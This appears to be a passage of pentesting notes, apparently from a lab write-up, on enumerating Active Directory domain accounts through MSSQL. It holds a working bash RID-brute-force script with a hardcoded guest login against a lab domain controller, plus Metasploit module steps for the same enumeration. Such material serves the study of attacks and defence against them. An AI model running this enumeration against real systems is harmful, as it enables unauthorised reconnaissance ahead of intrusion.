Since there is no function that list the current DOMAIN SID, we can leverage the SUSER_SID function to retrieve the SID of an specific domain object, such as a group
#!/bin/bashcheck_rid() { SID_BASE="<HEX_ENCODED_DOMAIN_SID>" # e.g. 010500000000000515000000a185deefb22433798d8e847a local RID=$1 local HEX_RID=$(python -c "import struct; print(struct.pack('<I', ${RID}).hex())") local SID="${SID_BASE}${HEX_RID}" local RES=$(mssqlclient.py SQLGuest:zDPBpaF4FywlqIv11vii@dc.redelegate.vl -file <( echo "select SUSER_SNAME(0x${SID});") 2>&1 | sed -n '/^----/{n;p;}') if [[ "$(echo "$RES" | xargs)" != "NULL" ]]; then echo "${RID}: ${RES}"; fi}export -f check_rid seq 1000 1500 | xargs -P 48 -I{} bash -c 'check_rid $@' _ {}
Metasploit
> use auxiliary/admin/mssql/mssql_enum_domain_accounts> set rhost '<TARGET>'> set rport '<MSSQL_PORT>'> set username '<USERNAME>'> set password '<PASSWD>'> set fuzznum <MAX_RID> # e.g. 10000> run